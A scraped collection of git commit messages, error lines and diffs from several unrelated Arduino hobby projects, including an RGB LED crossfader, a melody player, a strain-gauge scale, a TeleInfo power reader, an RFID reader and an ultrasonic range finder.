Initial commit

Initial commit

error: pathspec 'crossfades.ino' did not match any file(s) known to git

--- crossfades.ino
+++ crossfades.ino
@@ -0,0 +1,233 @@
+// Output
+#define REDPIN A6
+#define GREENPIN A5
+#define BLUEPIN A7
+
+// Color arrays
+int black[3]  = { 0, 0, 0 };
+int white[3]  = { 100, 100, 100 };
+int red[3]    = { 100, 0, 0 };
+int green[3]  = { 0, 100, 0 };
+int blue[3]   = { 0, 0, 100 };
+int yellow[3] = { 80, 80, 0 };
+int purple[3] = { 80, 0, 80 };
+int teal[3] = { 0, 80, 80 };
+int dimWhite[3] = { 30, 30, 30 };
+// etc.
+
+int colors[3][20][3] = {0};
+int activeSlot = 1;
+int altSlot = 0;
+int slotLength[3] = { 6, 6, 6};
+int wait[3] = {10, 10, 10};
+
+// Set initial color
+int redVal = black[0];
+int grnVal = black[1];
+int bluVal = black[2];
+
+//int wait = 10;      // 10ms internal crossFade delay; increase for slower fades
+int hold = 0;       // Optional hold when a color is complete, before the next crossFade
+int loopCount = 60; // How often should DEBUG report?
+int j = 0;          // Loop counter for repeat
+int loops = 0;
+
+// Initialize color variables
+int prevR = redVal;
+int prevG = grnVal;
+int prevB = bluVal;
+
+// Set up the LED outputs
+void setup()
+{
+  pinMode(REDPIN, OUTPUT);   // sets the pins as output
+  pinMode(GREENPIN, OUTPUT);
+  pinMode(BLUEPIN, OUTPUT);
+
+  colors[1][0][0] = 100;
+  colors[1][0][1] = 0;
+  colors[1][0][2] = 0;
+
+  colors[1][1][0] = 100;
+  colors[1][1][1] = 100;
+  colors[1][1][2] = 0;
+
+  colors[1][2][0] = 0;
+  colors[1][2][1] = 100;
+  colors[1][2][2] = 0;
+
+  colors[1][3][0] = 0;
+  colors[1][3][1] = 0;
+  colors[1][3][2] = 50;
+
+  slotLength[1] = 4;
+
+  Spark.function("c", colorMod);
+}
+
+// Main program: list the order of crossfades
+void loop()
+{
+  for (int i=0; i<slotLength[activeSlot]; i++)
+  {
+      crossFade(colors[activeSlot][i]);
+  }
+}
+
+/* BELOW THIS LINE IS THE MATH -- YOU SHOULDN'T NEED TO CHANGE THIS FOR THE BASICS
+*
+* The program works like this:
+* Imagine a crossfade that moves the red LED from 0-10,
+*   the green from 0-5, and the blue from 10 to 7, in
+*   ten steps.
+*   We'd want to count the 10 steps and increase or
+*   decrease color values in evenly stepped increments.
+*   Imagine a + indicates raising a value by 1, and a -
+*   equals lowering it. Our 10 step fade would look like:
+*
+*   1 2 3 4 5 6 7 8 9 10
+* R + + + + + + + + + +
+* G   +   +   +   +   +
+* B     -     -     -
+*
+* The red rises from 0 to 10 in ten steps, the green from
+* 0-5 in 5 steps, and the blue falls from 10 to 7 in three steps.
+*
+* In the real program, the color percentages are converted to
+* 0-255 values, and there are 1020 steps (255*4).
+*
+* To figure out how big a step there should be between one up- or
+* down-tick of one of the LED values, we call calculateStep(),
+* which calculates the absolute gap between the start and end values,
+* and then divides that gap by 1020 to determine the size of the step
+* between adjustments in the value.
+*/
+
+int calculateStep(int prevValue, int endValue) {
+  int step = endValue - prevValue; // What's the overall gap?
+  if (step) {                      // If its non-zero,
+    step = 1020/step;              //   divide by 1020
+  }
+  return step;
+}
+
+/* The next function is calculateVal. When the loop value, i,
+*  reaches the step size appropriate for one of the
+*  colors, it increases or decreases the value of that color by 1.
+*  (R, G, and B are each calculated separately.)
+*/
+
+int calculateVal(int step, int val, int i) {
+
+  if ((step) && i % step == 0) { // If step is non-zero and its time to change a value,
+    if (step > 0) {              //   increment the value if step is positive...
+      val += 1;
+    }
+    else if (step < 0) {         //   ...or decrement it if step is negative
+      val -= 1;
+    }
+  }
+  // Defensive driving: make sure val stays in the range 0-255
+  if (val > 255) {
+    val = 255;
+  }
+  else if (val < 0) {
+    val = 0;
+  }
+  return val;
+}
+
+/* crossFade() converts the percentage colors to a
+*  0-255 range, then loops 1020 times, checking to see if
+*  the value needs to be updated each time, then writing
+*  the color values to the correct pins.
+*/
+
+void crossFade(int color[3]) {
+  // Convert to 0-255
+  int R = (color[0] * 255) / 100;
+  int G = (color[1] * 255) / 100;
+  int B = (color[2] * 255) / 100;
+
+  int stepR = calculateStep(prevR, R);
+  int stepG = calculateStep(prevG, G);
+  int stepB = calculateStep(prevB, B);
+
+  for (int i = 0; i <= 1020; i++) {
+    redVal = calculateVal(stepR, redVal, i);
+    grnVal = calculateVal(stepG, grnVal, i);
+    bluVal = calculateVal(stepB, bluVal, i);
+
+    analogWrite(REDPIN, redVal);   // Write current values to LED pins
+    analogWrite(GREENPIN, grnVal);
+    analogWrite(BLUEPIN, bluVal);
+
+    delay(wait[activeSlot]); // Pause for 'wait' milliseconds before resuming the loop
+  }
+
+  // Update current values for next loop
+  prevR = redVal;
+  prevG = grnVal;
+  prevB = bluVal;
+  delay(hold); // Pause for optional 'wait' milliseconds before resuming the loop
+}
+
+int delayMod(String args)
+{
+    FADESPEED = args.toInt();
+   return FADESPEED;
+}
+
+// #runs, slot#, speed, #colors, color1, color2, ...
+int colorMod(String args)
+{
+    int sep = args.indexOf("|");
+    String start = args.substring(0,sep);
+    start.trim();
+
+    String starts[4] = {NULL}; // Increase to support more parameters
+        splitArgStringToArray(start, starts);
+
+    loops = starts[0].toInt();
+    altSlot = activeSlot;
+    activeSlot = starts[1].toInt();
+    wait[activeSlot] = starts[2].toInt();
+    slotLength[activeSlot] = starts[3].toInt();
+
+    String cols[20] = {NULL};
+    String argend = args.substring(sep+1);
+    splitArgStringToArray(argend, cols);
+
+    int colpos = 0;
+    for (int i = 0; i< slotLength[activeSlot]; i++)
+    {
+        colors[activeSlot][i][0] = cols[colpos].toInt();
+        colpos++;
+        colors[activeSlot][i][1] = cols[colpos].toInt();
+        colpos++;
+        colors[activeSlot][i][2] = cols[colpos].toInt();
+        colpos++;
+    }
+
+   return colpos;
+}
+
+void splitArgStringToArray(String arguments, String *target){
+    int numArgs = 0;
+    int beginIdx = 0;
+    int idx = arguments.indexOf(",");
+
+    while (idx != -1) {
+        String arg = arguments.substring(beginIdx, idx);
+        arg.trim();
+        target[numArgs] = arg;
+
+        beginIdx = idx + 1;
+        idx = arguments.indexOf(",", beginIdx);
+        ++numArgs;
+    }
+
+    // Single or last parameter
+    String lastArg = arguments.substring(beginIdx);
+    target[numArgs] = lastArg;
+}


brake not same

brake not same

error: pathspec 'exploration' did not match any file(s) known to git
error: pathspec 'testing/src/main.ino' did not match any file(s) known to git


参考スケッチ追加

参考スケッチ追加

error: pathspec '_20141103yazu___1_RGBkore/_20141103yazu___1_RGB.ino' did not match any file(s) known to git

--- _20141103yazu___1_RGBkore/_20141103yazu___1_RGB.ino
+++ _20141103yazu___1_RGBkore/_20141103yazu___1_RGB.ino
@@ -0,0 +1,334 @@
+
+#define NOTE_A1  55//ラ
+#define NOTE_AS1 58
+#define NOTE_B1  62//シ
+#define NOTE_C2  65//ド
+#define NOTE_CS2 69
+#define NOTE_D2  73//レ
+#define NOTE_DS2 78
+#define NOTE_E2  82//ミ
+#define NOTE_F2  87//ファ
+#define NOTE_FS2 92
+#define NOTE_G2  98//ソ
+#define NOTE_GS2 104 //半音上げ
+#define NOTE_A2  110//ラ
+#define NOTE_AS2 117
+#define NOTE_B2  123//シ
+#define NOTE_C3  131//ド
+#define NOTE_CS3 139
+#define NOTE_D3  147//レ
+#define NOTE_DS3 156
+#define NOTE_E3  165//ミ
+#define NOTE_F3  175//ファ
+#define NOTE_FS3 185
+#define NOTE_G3  196//ソ
+#define NOTE_GS3 208
+#define NOTE_A3  220//ラ
+#define NOTE_AS3 233
+#define NOTE_B3  247//シ
+#define NOTE_C4  262//ド
+#define NOTE_CS4 277
+#define NOTE_D4  294//レ
+#define NOTE_DS4 311
+#define NOTE_E4  330//ミ
+#define NOTE_F4  349//ファ
+#define NOTE_FS4 370
+#define NOTE_G4  392//ソ
+#define NOTE_GS4 415
+#define NOTE_A4  440//ラ
+#define NOTE_AS4 466
+#define NOTE_B4  494//シ
+#define NOTE_C5  523//ド
+#define NOTE_CS5 554
+#define NOTE_D5  587//レ
+#define NOTE_DS5 622
+#define NOTE_E5  659//ミ
+#define NOTE_F5  698//ファ
+#define NOTE_FS5 740
+#define NOTE_G5  784//ソ
+#define NOTE_GS5 831
+#define NOTE_A5  880//ラ
+#define NOTE_AS5 932
+#define NOTE_B5 988//シ
+#define NOTE_C6  1047//ド
+#define NOTE_CS6 1109
+#define NOTE_D6  1175
+#define NOTE_DS6 1245
+#define NOTE_E6  1319
+#define NOTE_F6  1397
+#define NOTE_FS6 1480
+#define NOTE_G6  1568
+#define NOTE_GS6 1661
+#define NOTE_A6  1760
+#define NOTE_AS6 1865
+#define NOTE_B6  1976
+#define NOTE_C7  2093
+#define NOTE_CS7 2217
+#define NOTE_D7  2349
+#define NOTE_DS7 2489
+#define NOTE_E7  2637
+#define NOTE_F7  2794
+#define NOTE_FS7 2960
+#define NOTE_G7  3136
+#define NOTE_GS7 3322
+#define NOTE_A7  3520
+#define NOTE_AS7 3729
+#define NOTE_B7  3951
+#define NOTE_C8  4186
+#define NOTE_CS8 4435
+#define NOTE_D8  4699
+#define NOTE_DS8 4978
+
+
+
+
+
+
+
+
+// 四季の歌
+int melody1[] = {
+NOTE_E4,NOTE_E4,NOTE_D4,NOTE_C4,NOTE_D4,NOTE_C4,NOTE_B3,NOTE_A3,NOTE_A3,NOTE_A3,NOTE_F4,NOTE_F4,NOTE_E4,NOTE_D4,NOTE_C4,NOTE_D4,NOTE_F4,
+NOTE_E4,NOTE_F4,NOTE_F4,NOTE_E4,NOTE_D4,NOTE_D4,NOTE_F4,NOTE_E4,NOTE_E4,NOTE_C4,NOTE_A3,NOTE_B3,NOTE_E4,NOTE_D4,NOTE_C4,NOTE_B3,NOTE_C4,
+NOTE_A3,NOTE_E4,NOTE_A4,NOTE_C5,NOTE_B4,NOTE_A4,NOTE_B4,NOTE_C5,NOTE_D5,NOTE_B4,NOTE_C5,NOTE_D5,NOTE_E5,NOTE_E5,NOTE_E5,NOTE_D5,NOTE_C5,NOTE_D5,NOTE_C5,NOTE_B4,
+NOTE_A4,NOTE_A4,NOTE_A4,NOTE_F5,NOTE_F5,NOTE_E5,NOTE_D5,NOTE_C5,NOTE_D5,NOTE_F5,NOTE_E5,NOTE_F5,NOTE_F5,NOTE_E5,NOTE_D5,NOTE_D5,NOTE_F5,
+NOTE_E5,NOTE_E5,NOTE_C5,NOTE_A4,NOTE_C5,NOTE_B4,NOTE_E5,NOTE_D5,NOTE_C5,NOTE_B4,NOTE_C5,NOTE_A4
+
+
+} ;
+// note durations: 4 = quarter note, 8 = eighth note, etc.:
+int noteDurations1[] = {
+4,8,8,16,16,16,16,4,4,2,4,8,8,16,16,16,16,
+1,4,8,8,4,8,8,4,8,8,2,4,4,16,16,16,16,
+2,16,16,16,16,16,16,16,16,16,16,16,1,4,8,8,16,16,16,16,
+4,4,2,4,8,8,16,16,16,16,1,4,8,8,4,8,8,
+4,8,8,4,4,4,4,16,16,16,16,1
+  };
+
+// ハウルのメインテーマ
+int melody2[] = {
+  NOTE_AS4,NOTE_C5,NOTE_AS4,NOTE_C5,NOTE_AS4,NOTE_C5,NOTE_A4,NOTE_AS4,NOTE_A4,NOTE_AS4,NOTE_A4,NOTE_AS4,NOTE_G4,NOTE_A4,NOTE_G4,NOTE_A4,NOTE_G4,NOTE_A4,NOTE_FS4,NOTE_E4,NOTE_DS4,
+  NOTE_D3,NOTE_A3,NOTE_D4,NOTE_A4,
+  NOTE_D4,NOTE_G4,NOTE_AS4,NOTE_D5,NOTE_D5,NOTE_C5,NOTE_AS4,NOTE_A4,NOTE_AS4,
+  NOTE_G4,NOTE_AS4,NOTE_D5,NOTE_G5,NOTE_G5,NOTE_G5,NOTE_A5,NOTE_F5,NOTE_DS5,NOTE_F5,
+  NOTE_A4,NOTE_D5,NOTE_F5,NOTE_A5,NOTE_G5,NOTE_G5,NOTE_F5,NOTE_E5,NOTE_DS5,NOTE_E5,NOTE_G5,NOTE_F5,
+  NOTE_E5,NOTE_D5,NOTE_CS5,NOTE_D5,NOTE_D5,NOTE_C5,NOTE_D5,NOTE_C5,NOTE_AS4,NOTE_A4,NOTE_B4,NOTE_CS5,NOTE_D5
+
+} ;
+int noteDurations2[] = {
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,2,
+  8,8,8,2,
+  4,4,4,2,4,4,4,4,1,
+  4,4,4,2,4,4,4,8,8,1,
+  4,4,4,2,3,8,8,8,8,8,2,4,
+  8,8,8,8,4,8,8,8,8,4,8,4,1
+  };
+
+
+
+void setup() {
+  pinMode(8, OUTPUT);
+  pinMode(9, INPUT_PULLUP);
+    pinMode(5, OUTPUT);//カソード下
+pinMode(6, OUTPUT);//カソード中
+pinMode(7, OUTPUT);//カソード上
+pinMode(0, OUTPUT);//アノード１
+pinMode(1, OUTPUT);//アノード２
+pinMode(2, OUTPUT);//アノード３
+ pinMode(3, OUTPUT);//アノード４
+pinMode(4, OUTPUT);//アノード５
+pinMode(10, OUTPUT);//アノード６
+pinMode(11, OUTPUT);//アノード７
+pinMode(12, OUTPUT);//アノード８
+pinMode(13, OUTPUT);//アノード９
+  }
+
+void loop() {
+      digitalWrite(0, LOW);
+ digitalWrite(1, LOW);
+ digitalWrite(2, LOW);
+ digitalWrite(3, LOW);
+  digitalWrite(4, LOW);
+ digitalWrite(10, LOW);
+  digitalWrite(11, LOW);
+ digitalWrite(12, LOW);
+  digitalWrite(13, LOW);
+
+start:
+delay(500);
+  int buttonState=1;
+
+start1:
+  buttonState=digitalRead(9);
+ if (buttonState ==LOW ) {goto music1;}
+ else{
+ analogReference(INTERNAL);
+ int x=analogRead(5);
+ if(x<260){tone(8, 100,100);}
+ else if(x<280){tone(8, 600,100);}
+
+ else if(x<300){tone(8, 1100,100);}
+
+ else if(x<320){tone(8, 1600,100);}
+
+ else if(x<340){tone(8, 2100,100);}
+
+ else if(x<360){tone(8, 2600,100);}
+
+ else if(x<380){tone(8, 3100,100);}
+
+ else if(x<400){tone(8, 3600,100);}
+
+ else if(x<420){tone(8, 4100,100);}
+
+ else if(x<440){tone(8, 4600,100);}
+
+ else{tone(8, 5100,100);}
+
+ delay(1000);
+
+ }
+ goto start1;
+
+
+music1:
+delay(500);
+ buttonState=1;
+  for (int thisNote = 0; thisNote < 82; thisNote++) {
+
+     buttonState=digitalRead(9);
+     if (buttonState ==LOW ) {goto music2;}
+
+      if(thisNote == 0){
+        digitalWrite(5,LOW);
+    digitalWrite(6,LOW);
+    digitalWrite(7,LOW);
+      }
+     else if  (thisNote==5){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,LOW);
+    digitalWrite(7,LOW);
+     }
+      else if  (thisNote==10){
+     digitalWrite(5,LOW);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,LOW);
+     }
+     else if  (thisNote==15){
+     digitalWrite(5,LOW);
+    digitalWrite(6,LOW);
+    digitalWrite(7,HIGH);
+     }
+      else if  (thisNote==20){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,LOW);
+    digitalWrite(7,LOW);
+     }
+       else if  (thisNote==25){
+     digitalWrite(5,LOW);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,LOW);
+     }
+      else if  (thisNote==30){
+     digitalWrite(5,LOW);
+    digitalWrite(6,LOW);
+    digitalWrite(7,HIGH);
+     }
+     else if  (thisNote==35){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,LOW);
+    digitalWrite(7,HIGH);
+     }
+      else if  (thisNote==40){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,LOW);
+     }
+       else if  (thisNote==45){
+     digitalWrite(5,LOW);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,HIGH);
+     }
+      else if  (thisNote==50){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,LOW);
+    digitalWrite(7,HIGH);
+     }
+     else if  (thisNote==55){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,LOW);
+     }
+      else if  (thisNote==60){
+     digitalWrite(5,LOW);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,HIGH);
+     }
+       else if  (thisNote==65){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,LOW);
+    digitalWrite(7,HIGH);
+     }
+      else if  (thisNote==70){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,LOW);
+     }
+     else if  (thisNote==75){
+     digitalWrite(5,LOW);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,HIGH);
+     }
+      else if  (thisNote==80){
+     digitalWrite(5,HIGH);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,HIGH);
+     }
+
+     int duration = 1000/noteDurations1[thisNote]; //発音時間を定める
+    tone(8, melody1[thisNote],duration);  //発音
+
+     int pause = duration * 1.5; //音符の間で時間をあける
+
+      delay(pause);
+
+     }
+ goto music1;
+
+music2:
+ delay(500);
+ buttonState=1;
+   digitalWrite(0, LOW);
+ digitalWrite(1, LOW);
+ digitalWrite(2, LOW);
+ digitalWrite(3, LOW);
+  digitalWrite(4, LOW);
+ digitalWrite(10, LOW);
+  digitalWrite(11, LOW);
+ digitalWrite(12, LOW);
+  digitalWrite(13, LOW);
+
+  for (int thisNote = 0; thisNote < 68; thisNote++) {
+
+     buttonState=digitalRead(9);
+     if (buttonState ==LOW ) {goto start;}
+     digitalWrite(5,HIGH);
+    digitalWrite(6,HIGH);
+    digitalWrite(7,HIGH);
+    int duration = 1000/noteDurations2[thisNote];//発音時間を定める
+
+
+
+
+    tone(8, melody2[thisNote],duration);   //発音
+       digitalWrite(5,LOW);
+    digitalWrite(6,LOW);
+    digitalWrite(7,LOW);
+    int pause = duration * 1.5;  //音符の間で時間をあける
+
+
+  delay(pause);
+
+     }
+ goto music2;
+}


 On branch master
 Your branch is up-to-date with 'origin/master'.

 Changes to be committed:
	modified:   display/live_market_led_display/led_market_display/led_market_display.ino

Got it working with 2 strips, decreased lag time to around 1/2 seconds

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/WestwoodRobotics/BEST-2015.git/'


Add Arduino code

Add Arduino code

error: pathspec 'Arduino/weight_scale_code/weight_scale_code.ino' did not match any file(s) known to git

--- Arduino/weight_scale_code/weight_scale_code.ino
+++ Arduino/weight_scale_code/weight_scale_code.ino
@@ -0,0 +1,126 @@
+/*
+  Strain Gage-Based Scale
+
+  Reads repeatedly from an analog input, printing it to the Adafruit SSD1306
+  OLED graphic display and the computer.
+
+  The circuit:
+    * Analog sensor attached to analog input 0
+
+  Created 1 August 2015
+  By Gustavo H. Barrionuevo  <gustavo@barrionuevo.me>
+
+  This code is in the public domain.
+
+*/
+#include <SPI.h>
+#include <Wire.h>
+#include <Adafruit_GFX.h>
+#include <Adafruit_SSD1306.h>
+
+#define OLED_MOSI   9
+#define OLED_CLK   10
+#define OLED_DC    11
+#define OLED_RESET 12
+#define OLED_CS    13
+Adafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);
+
+
+#if (SSD1306_LCDHEIGHT != 64)
+#error("Height incorrect, please fix Adafruit_SSD1306.h!");
+#endif
+
+float gain_const = 1;
+int adc_zero_const = 0;
+int windowSize = 2;
+int newReading = 0;
+int average = 0;                // the current average
+int inputPin = A0;
+int diff;
+int thres1 = 4;
+int thres2 = 8;
+float weight = 0;
+float standard_deviation = 0;
+void setup() {
+  analogReference(EXTERNAL);
+  // by default, we'll generate the high voltage from the 3.3v line internally! (neat!)
+  display.begin(SSD1306_SWITCHCAPVCC);
+  display.clearDisplay();        //Clear display
+  display.setTextSize(1);
+  display.display();
+  display.setTextColor(WHITE);   //Set text color to
+  Serial.begin(115200);     // opens serial port, sets data rate to 115200 bps
+  average =  analogRead(inputPin);
+}
+void loop() {
+  newReading = analogRead(inputPin);
+  diff = abs(newReading - average);
+  switch (windowSize) {
+    case 2:
+      if (diff < thres1) {
+        windowSize = 4;
+      }
+      break;
+    case 4:
+      if (diff < thres2) {
+        windowSize = 8;
+      } else if (diff >= thres1) {
+        windowSize = 2;
+        average = newReading;
+      }
+      break;
+    case 8:
+      if (diff >= thres2) {
+        windowSize = 4;
+        average = newReading;
+      }
+      break;
+  }
+
+  average = (newReading + (average * windowSize) - average) / windowSize;
+  weight = (average - adc_zero_const) * gain_const;
+
+
+
+
+  display.clearDisplay();
+  display.setCursor(0, 0);
+  display.print("\nWeight: ");
+  //Set text size to 1(small)
+  //display.setCursor(10, 25);     // set cursor position x,y
+  display.print(weight, 0);
+  display.print("g\n");
+  // display.display();
+  // display.setTextSize(1.5);
+  //display.setCursor(0, 30);
+  display.print("\nADC Code: ");
+  display.print(average);
+  display.print("\nGain Const: ");
+  display.print(gain_const, 3);
+  display.print("\nRaw ADC Code: ");
+  display.print(newReading);
+  display.display();
+
+  Serial.println(average);
+  delay(100);        // delay in between reads for stability
+
+
+  if (Serial.available() > 0) {
+    // read the incoming byte:
+    int inByte = Serial.read();
+    switch (inByte) {
+      case 'm':
+        while (Serial.available() <= 0) {
+          delay(200);
+        }
+        adc_zero_const = Serial.parseInt();
+        break;
+      case 'g':
+        while (Serial.available() <= 0) {
+          delay(200);
+        }
+        gain_const = Serial.parseFloat() / average;
+        break;
+    }
+  }
+}


Create PotMeterWorkshop.ino

Create PotMeterWorkshop.ino

error: pathspec 'The' did not match any file(s) known to git
error: pathspec 'Things' did not match any file(s) known to git
error: pathspec 'Network/potmeter-workshop/PotMeterWorkshop/PotMeterWorkshop.ino' did not match any file(s) known to git


Test ATtiny SoftwareSerial + Manchester lib

error: pathspec 'TeleInfo/TestTinySerial/TestTinySerial.ino' did not match any file(s) known to git

--- TeleInfo/TestTinySerial/TestTinySerial.ino
+++ TeleInfo/TestTinySerial/TestTinySerial.ino
@@ -0,0 +1,224 @@
+
+/*
+ * Test Attiny serial communication
+ *
+ */
+
+#include <Manchester.h>
+#include <SoftwareSerial.h>
+
+#define rxSerialPin 0  // RX PIN for Software Serial
+#define txSerialPin 1  // TX PIN for Software Serial
+
+//#define flagLed 2  // KO LED
+#define txPin 2 // TX Out
+//#define txLed 2  // TX LED
+
+#define sensID 5  // Sensor ID
+
+
+// EDF Link
+SoftwareSerial _edfLink(rxSerialPin, txSerialPin); // rx, tx pins
+
+
+
+// Sensor Message Structure
+typedef struct sensorData_t{
+  uint8_t id; // size 1
+  float value; // size 4
+  uint8_t checksum; // size 1
+};
+
+typedef union sensorData_union_t{
+  sensorData_t data;
+  uint8_t raw[6]; // total size of 5 bytes
+};
+
+// Sensor Message
+sensorData_union_t _message;
+
+
+void setup() {
+
+//  pinMode(txLed, OUTPUT);
+//  pinMode(flagLed, OUTPUT);
+//  digitalWrite(txLed, LOW);
+//  digitalWrite(flagLed, LOW);
+
+  // Write Sensor ID
+  _message.data.id = sensID;
+
+
+}
+
+void loop() {
+
+
+ acquireApparentPower();
+
+ delay(20000);
+
+}
+
+
+
+void acquireApparentPower()
+{
+  boolean exit = false;
+  boolean insideLine = false;
+  char buffer[40];
+  int lenght = 0;
+
+  // Start Serial with EDF box
+  _edfLink.begin(1200);
+
+  // Loop
+  while (!exit)
+  {
+    int current = _edfLink.read();
+
+    if(current < 0 )
+    {
+      // Error
+      //digitalWrite(txLed, LOW);
+    }
+    else
+    {
+      //digitalWrite(txLed, HIGH);
+
+      // Convert Read Char
+      char value = current & 0x7F;
+
+      if (value==0x0A)
+      {
+        //digitalWrite(flagLed, HIGH);
+
+        // Begin new Information Line
+
+        // Turn Flag
+        insideLine = true;
+
+        // Clear buffer
+        lenght = 0;
+      }
+      else if (value==0x0D)
+      {
+        // End of Line
+        //digitalWrite(flagLed, LOW);
+
+        // Message size is at least 10 char
+        if(lenght>=10)
+        {
+           // Find PAPP value in line : ex PAPP 00450 *
+           if(buffer[0]=='P' && buffer[1]=='A' && buffer[2]=='P' && buffer[3]=='P')
+           {
+              // Stop link interruption
+              _edfLink.end();
+
+              // Remove CheckSum
+              buffer[10] = '\0';
+
+              // Convert to Float
+              float value = atof(buffer+5);
+
+              // Save Power
+              _message.data.value = value;
+
+              // Compute Checksum : CRC8 on ID+Value
+              _message.data.checksum = crc8(_message.raw, 5);
+
+              // TX Setup
+              man.setupTransmit(txPin);
+
+              // Send All Data
+              man.transmitArray(6, _message.raw);
+
+              /*
+              for(int i =0; i<_message.data.value;i++)
+              {
+                 // Blink
+                digitalWrite(flagLed, HIGH);
+                delay(200);
+                digitalWrite(flagLed, LOW);
+                delay(200);
+              }
+
+              */
+
+              // exit
+              exit = true;
+           }
+        }
+
+        // Turn Off Flag
+        insideLine = false;
+
+        // Clear buffer
+        lenght = 0;
+
+        // Clear Link
+         _edfLink.flush();
+      }
+      else
+      {
+        // Data
+        if(insideLine && lenght < 39)
+        {
+          // Add Char
+          buffer[lenght++] = value;
+        }
+      }
+
+    }
+
+  }
+
+}
+
+
+// This table comes from Dallas sample code where it is freely reusable,
+// though Copyright (C) 2000 Dallas Semiconductor Corporation
+static const uint8_t PROGMEM dscrc_table[] = {
+      0, 94,188,226, 97, 63,221,131,194,156,126, 32,163,253, 31, 65,
+    157,195, 33,127,252,162, 64, 30, 95,  1,227,189, 62, 96,130,220,
+     35,125,159,193, 66, 28,254,160,225,191, 93,  3,128,222, 60, 98,
+    190,224,  2, 92,223,129, 99, 61,124, 34,192,158, 29, 67,161,255,
+     70, 24,250,164, 39,121,155,197,132,218, 56,102,229,187, 89,  7,
+    219,133,103, 57,186,228,  6, 88, 25, 71,165,251,120, 38,196,154,
+    101, 59,217,135,  4, 90,184,230,167,249, 27, 69,198,152,122, 36,
+    248,166, 68, 26,153,199, 37,123, 58,100,134,216, 91,  5,231,185,
+    140,210, 48,110,237,179, 81, 15, 78, 16,242,172, 47,113,147,205,
+     17, 79,173,243,112, 46,204,146,211,141,111, 49,178,236, 14, 80,
+    175,241, 19, 77,206,144,114, 44,109, 51,209,143, 12, 82,176,238,
+     50,108,142,208, 83, 13,239,177,240,174, 76, 18,145,207, 45,115,
+    202,148,118, 40,171,245, 23, 73,  8, 86,180,234,105, 55,213,139,
+     87,  9,235,181, 54,104,138,212,149,203, 41,119,244,170, 72, 22,
+    233,183, 85, 11,136,214, 52,106, 43,117,151,201, 74, 20,246,168,
+    116, 42,200,150, 21, 75,169,247,182,232, 10, 84,215,137,107, 53};
+
+//
+// Compute a Dallas Semiconductor 8 bit CRC. These show up in the ROM
+// and the registers.  (note: this might better be done without to
+// table, it would probably be smaller and certainly fast enough
+// compared to all those delayMicrosecond() calls.  But I got
+// confused, so I use this table from the examples.)
+//
+uint8_t crc8(const uint8_t *addr, uint8_t len)
+{
+	uint8_t crc = 0;
+
+	while (len--) {
+		crc = pgm_read_byte(dscrc_table + (crc ^ *addr++));
+	}
+	return crc;
+}
+
+
+
+
+
+
+
+
+
+


-Added preliminary driver for shift registers and LEDs. -This code will be modified and integrated with the other aaspects of the  controller later -Once the schematic is somewhat more finalised, a diagram will be uploaded  to outline the circuit being used

error: pathspec 'controller/src/preliminary_register_driver/preliminary_register_driver.ino' did not match any file(s) known to git


Added I2c_ReadReady example, without interruptions

error: pathspec 'examples/I2C_ReadReady/I2C_ReadReady.ino' did not match any file(s) known to git

--- examples/I2C_ReadReady/I2C_ReadReady.ino
+++ examples/I2C_ReadReady/I2C_ReadReady.ino
@@ -0,0 +1,57 @@
+/*
+  Read_Ready
+  Read RFID tag Id when DREADY line is high
+
+  This example code is in the public domain.
+*/
+
+/*
+  DREADY pin to pin 2
+  SCL pin to pin A5
+  SDA pin to pin A4
+*/
+
+#include <Wire.h>
+#include <SM125.h>
+
+/*
+  SM-125 DREADY pin to pin 2
+  SM-125 SCL pin to pin A5
+  SM-125 SDA pin to pin A4
+*/
+
+#define SM125_ADDRESS 0x46
+#define DREADY 2
+
+SM125 sm125;
+byte tagId[4];
+
+void setup() {
+
+  Serial.begin(9600);
+  Serial.println("Start Simple Read Demo:");
+
+  pinMode(DREADY, INPUT_PULLUP);
+
+  sm125.begin(SM125_ADDRESS);
+
+}
+
+void loop() {
+
+  if (digitalRead(DREADY) == HIGH) {
+    if (sm125.readTag(tagId)){
+      Serial.print("Tag leido: ");
+      for (int i = 0; i < 4; i++){
+        if (tagId[i] < 16)
+          Serial.print('0');
+        Serial.print(tagId[i], HEX);
+      }
+      Serial.println();
+    }
+    else
+      Serial.println("No Tag");
+  }
+    delay(10);
+}
+


added buzzer

added buzzer

error: pathspec 'matrix' did not match any file(s) known to git
error: pathspec 'timer/my_-_matrix8x8.ino' did not match any file(s) known to git


Using NewPing library

Using NewPing library

Use NewPing Library to make the code easier

error: pathspec 'UltraSonicRangeFinder/UltraSonicHC-Sr04/NewPing/UltrasonicHCSR04NewPing.ino' did not match any file(s) known to git

--- UltraSonicRangeFinder/UltraSonicHC-Sr04/NewPing/UltrasonicHCSR04NewPing.ino
+++ UltraSonicRangeFinder/UltraSonicHC-Sr04/NewPing/UltrasonicHCSR04NewPing.ino
@@ -0,0 +1,18 @@
+#include <NewPing.h>
+
+#define TRIGGER_PIN 12
+#define ECHO_PIN 11
+#define MAX_DISTANCE 300
+
+NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance.
+
+void setup() {
+   Serial.begin(9600);
+}
+
+void loop() {
+   delay(50);
+   unsigned int uS = sonar.ping_cm();
+   Serial.print(uS);
+   Serial.println("cm");
+}


Committed by UECIDE

Committed by UECIDE

error: pathspec 'PulseRifleStd2.ino' did not match any file(s) known to git

--- PulseRifleStd2.ino
+++ PulseRifleStd2.ino
